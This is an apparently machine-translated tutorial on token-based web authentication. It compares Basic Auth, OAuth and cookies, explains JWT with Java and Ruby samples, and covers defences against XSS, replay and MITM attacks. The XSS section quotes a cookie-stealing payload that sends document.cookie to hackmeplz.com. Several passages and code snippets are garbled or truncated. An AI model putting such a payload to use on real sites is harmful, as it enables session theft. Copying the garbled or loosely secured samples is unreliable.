Token-based WEB background authentication mechanism

Token-based WEB background authentication mechanism
Several commonly used authentication mechanisms
HTTP Basic Auth

HTTP Basic Auth simply means that the user's username and password are provided every time an API is requested. In short, Basic Auth is the easiest to use with RESTful APIs. The authentication method only needs to provide the user name and password, but due to the risk of exposing the user name and password to third-party clients, it is used less and less in the production environment. Therefore, when developing RESTful APIs that are open to the outside world, try to avoid using HTTP Basic Auth

OAuth

OAuth (Open Authorization) is an open authorization standard that allows users to allow third-party applications to access private resources stored by the user on a web service (like photos, videos, contact lists) without giving username and password to third-party apps.

OAuth allows users to provide a token instead of a username and password to access their data stored with a specific service provider. Each token authorizes a specific third-party system (eg, a video editing website) to access a specific resource (eg, just a video in a certain album) for a specified period of time (eg, within the next 2 hours). In this way, OAuth allows users to authorize third-party websites to access some specific information they store in another service provider, but not all content.
The following is the flow of OAuth2.0:


This OAuth-based authentication mechanism is suitable for individual consumers. Internet products, such as social apps and other applications, are not suitable for enterprise applications with their own authentication authority management;

Cookie Auth

The cookie authentication mechanism is to create a Session object on the server side for a request authentication, and at the same time create a Cookie object on the client's browser side; state management is achieved by bringing the Cookie object from the client to match the session object on the server side. By default, cookies are deleted when we close the browser. But you can make the cookie valid for a certain period of time by modifying the expire time of the cookie . What are the advantages of the

Token mechanism compared to the Cookie mechanism? Support cross-domain access: Cookie does not allow cross-domain access, which does not exist for the Token mechanism, provided that the transmitted user authentication information is transmitted through HTTP headers. Stateless (also known as: server-side extensible line): Token The mechanism does not need to store session information on the server side, because the Token itself contains the information of all logged-in users, and only needs to store the status information in the client's cookie or local media. It is more suitable for CDN: You can request all the information on your server side through the content distribution network ( Such as: javascript, HTML, pictures, etc.), and your server only needs to provide API. Decoupling: No need to bind to a specific authentication scheme. Tokens can be generated anywhere, as long as you can make a token generation call when your API is called. More suitable for mobile applications: when your client is a native platform (iOS, Android, Windows 8, etc.) When the cookie is not supported (you need to handle it through the cookie container), it is much simpler to use the Token authentication mechanism. CSRF: You don't need to think about CSRF (Cross-Site Request Forgery) protection because you no longer rely on cookies.













Performance: A network round-trip time (querying session information through the database) is always more time-consuming than doing a token verification and parsing of HMACSHA256 calculations.
No special processing is required for the login page: if you use Protractor for functional testing, no longer Requires special handling for the login page.
Based on standardization: your API can use a standardized JSON Web Token (JWT). This standard already exists in multiple backend libraries (.NET, Ruby, Java, Python, PHP) and multiple companies Support (such as: Firebase, Google, Microsoft).
JWT-based Token authentication mechanism to implement
JSON Web Token (JWT) is a very lightweight specification. This specification allows us to use JWT to pass secure and reliable information between the user and the server. The composition of its

JWT

A JWT is actually a string, which consists of three parts, the header, the payload and the signature.
Payload

{ "iss": "Online JWT Builder",
  "iat": 1416797419,
  "exp": 1448333419,
  "aud": "www.example.com",
  "sub": "[email protected]" ,
  "GivenName": "Johnny",
  "Surname": "

  "Role": [ "Manager", "Project Administrator" ]
}
iss: the issuer of the JWT, whether to use it is optional;
sub: the user that the JWT faces, whether to use it is optional;
aud: receive the On the side of the JWT, whether to use it is optional;
exp(expires): when it expires, here is a Unix timestamp, whether to use it is optional;
iat(issued at): when was it issued (UNIX time), Whether to use it is optional;
there are others:
nbf (Not Before): if the current time is before the time in nbf, the Token will not be accepted; generally there will be some leeway, such as a few minutes; whether to use it is optional ;
[base64 encoding] the above JSON object can get the following string. We call this string the JWT Payload.

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
Quick Fact: Base64 is a representation of binary data based on 64 printable characters. Since 2 to the 6th power is equal to 64, every 6 bits is a unit, corresponding to a certain printable character. Three bytes have 24 bits, corresponding to 4 Base64 units, that is, 3 bytes need to be represented by 4 printable characters. JDK provides very convenient BASE64Encoder and BASE64Decoder, which can be used to complete BASE64-based encoding and decoding.

Header (Header)
JWT also needs a header. The header is used to describe the most basic information about the JWT. Such as its type and the algorithm used for the signature, etc. This can also be represented as a JSON object.

{
"typ": "JWT",
"alg": "HS256"
}
indicates that the signature algorithm is the HS256 algorithm in the header.
Of course, the header should also be encoded in BASE64. The encoded string is as follows :

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Signature .eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0 Finally, we encrypt the spliced ​​string above with the HS256 algorithm. When encrypting, we also need to provide a secret. If we use mystar as the key, then we can get our encrypted content:





rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
last part of these signature stitching also behind the string is signed, we get a complete JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
in our request URL string that will bring JWT string:

HTTPS: // your. awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM _
_ Username/password, submitted to the server's login processing Action layer (Login Action); Login Action invokes the authentication service for username and password authentication. If the authentication is passed, the Login Action layer invokes the user information service to obtain user information (including complete user information) information and corresponding permission information); after returning the user information, Login Action obtains the secret key information generated by the Token signature from the configuration file, and generates the Token; in the process of generating the Token, a third-party JWT Lib can be called to generate the signed JWT data ;









After completing the JWT data signature, set it to the COOKIE object, redirect it to the home page, and complete the login process;


request authentication

The Token-based authentication mechanism will bring the signed Token information in each request. This Token information may be in In COOKIE
, it may also be in the Authorization header of HTTP; the



client (APP client or browser) accesses resources (pages or calls API) through GET or POST requests;
the authentication service intercepts the request as a Middleware HOOK, first in the cookie Find the Token information in , if not found, look it up in the HTTP Authorization Head;
if the Token information is found, call JWT Lib to decrypt and decode the Token information according to the signature encryption key in the configuration file;
complete the decoding and verify that the signature passed After that, verify the exp, nbf, aud and other information in the Token;
after all pass, according to the obtained user's role permission information, make a logical judgment on the permissions of the requested resource;
if the logical judgment of the permission is passed, it will be returned through the Response object; Otherwise, return HTTP 401;
five points of understanding

of token authentication There are five points of direct attention to the token authentication mechanism:

a token is a collection of some information;
the token contains enough information to reduce query database in subsequent requests The
server needs to check the token information of cookies and HTTP Authrorization Header;
based on the previous point, you can use a set of token authentication codes to face browser clients and non-browser clients;
Because the token is signed, we can think that a token that can be decoded and authenticated is issued by our system, and the information contained in it is legal and valid;
JWT's JAVA implementation

Java supports JWT in Java, you can consider using the JJWT open source library ;JJWT implements the JWT, JWS, JWE and JWA RFC specifications; the following will briefly illustrate its use:
generate Token code

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;   

//Sample method to construct a JWT

private String createJWT(String id, String issuer, String subject, long ttlMillis) {

//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;

long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);

//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());

  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);

//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}

//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
解码和验证Token码

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;

//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()       
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration ());
}
Security issues of JWT-based Token authentication
Ensuring the security of the verification process

How to ensure the security of the username/password verification process; because in the verification process, the user needs to enter the username and password. Sensitive information such as usernames and passwords needs to be transmitted over the network. Therefore, it is recommended to use HTTPS in this process and encrypt the transmission through SSL to ensure the security of the channel.

How to Prevent XSS Attacks

Browsers can do many things, which also bring many hidden dangers to the security of the browser. The most common ones are: XSS attacks: Cross Site Scripting; if there is an input box on a page that allows Entering no information, without taking precautions, if we enter this code:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies='
+document .cookie;return a}())"
This code will steal all cookie information in your domain and send it to hackmeplz.com; so how do we prevent this attack?

XSS attack code filtering
Remove any code that will cause the browser to execute unexpectedly. This can be achieved by using some libraries (eg: js-xss under js, XSS HTMLFilter under JAVA, TWIG under PHP); if you are submitting user submissions If the string is stored in the database (also for SQL injection attacks), you need to filter the front-end and server-side separately;
use HTTP-Only Cookies
to prevent access to cookies through JavaScript by setting the parameters of the cookie: HttpOnly; Secure
; Is the cookie set in HttpOnly?
Servlet 2.5 API does not support cookie setting HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
It is recommended to upgrade Tomcat7.0, which already implements Servlet3. 0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
or set it like this:
//set cookie
response.addHeader("Set-Cookie", "uid =112; Path=/; HttpOnly");

//Set multiple cookies
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//Set https cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure ; HttpOnly");
In actual use, we can make FireCookie check whether the cookie we set is HttpOnly;

how to prevent Replay Attacks The

so-called replay attack is that the attacker sends a packet that the destination host has received to achieve the purpose of deceiving the system , mainly used in the authentication process. For example, the signed Token obtained through username/password verification on the browser side is stolen by a Trojan. Even if the user logs out of the system, hackers can still use the stolen Token to simulate normal requests, but the server does not know this at all, thinking that the JWT mechanism is stateless.
In response to this situation, there are several common practices that can be used for reference:
1. Timestamp + shared secret key In
this scheme, both the client and the server need to know:

User ID
shared secret key
Client

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i, # Specify the token release time
  exp: Time.now.to_i + 2 # After the specified token expiration time is 2 seconds, 2 seconds is enough for one HTTP request, and at the same time, to a certain extent Once the token expires, the probability of replay attack is reduced;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
server

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1: Decode the JWT and obtain the User ID. At this time, the Token signature is not checked
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2 : Check if the user exists in the database
    @current_user = User.find(payload['user_id'])
   
    # Step 3: Check if the Token signature is correct.
    JWT.decode(request.authorization, current_user.api_secret)
   
    # Step 4: Check "iat" and "exp" to make sure this token was created within 2 seconds.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # If it expires, return 401
    end
  rescue JWT::DecodeError
    # Return 401
  end
end
2. Timestamp + shared secret key + blacklist (similar to Zendesk's approach)
client

auth_header = JWT.encode({
  user_id: 123,
  jti: rand (2 << 64).to_s, # Ensure that a token is only used once through jti to prevent replacement attack
  iat: Time.now.to_i, # Specify the token release time.
  exp: Time.now.to_i + 2 # Specify the token expiration time After 2 seconds
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端

def set_current_user_from_jwt_token
  # The previous steps refer to the above
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time. now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # returns 401
  end
 
  # The following will check to make sure this JWT has not been used before
  # Using Redis Atomic Operations
 
  # The redis keys: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
 
  # See if the key value already exists in redis. If not, then Returns nil. Returns "1" if it exists. .
  if redis.getset(key, "1")
    # Returns 401
    #
  end
 
  # Perform key expiration check
  redis.expireat(key, payload['exp'] + 2)
end
How to prevent MITM (Man-In-The-Middle) Attacks The

so-called MITM attack is that the interaction between the client and the server is monitored, for example, the WIFI of a cafe with Internet access is monitored or a hacked proxy server
; The method of this kind of attack uses HTTPS, including for distributed applications, and also uses HTTPS when transmitting sensitive information such as cookies between services; so cloud computing is inherently insecure.

Reference directory:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know- about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=326519506&siteId=291194637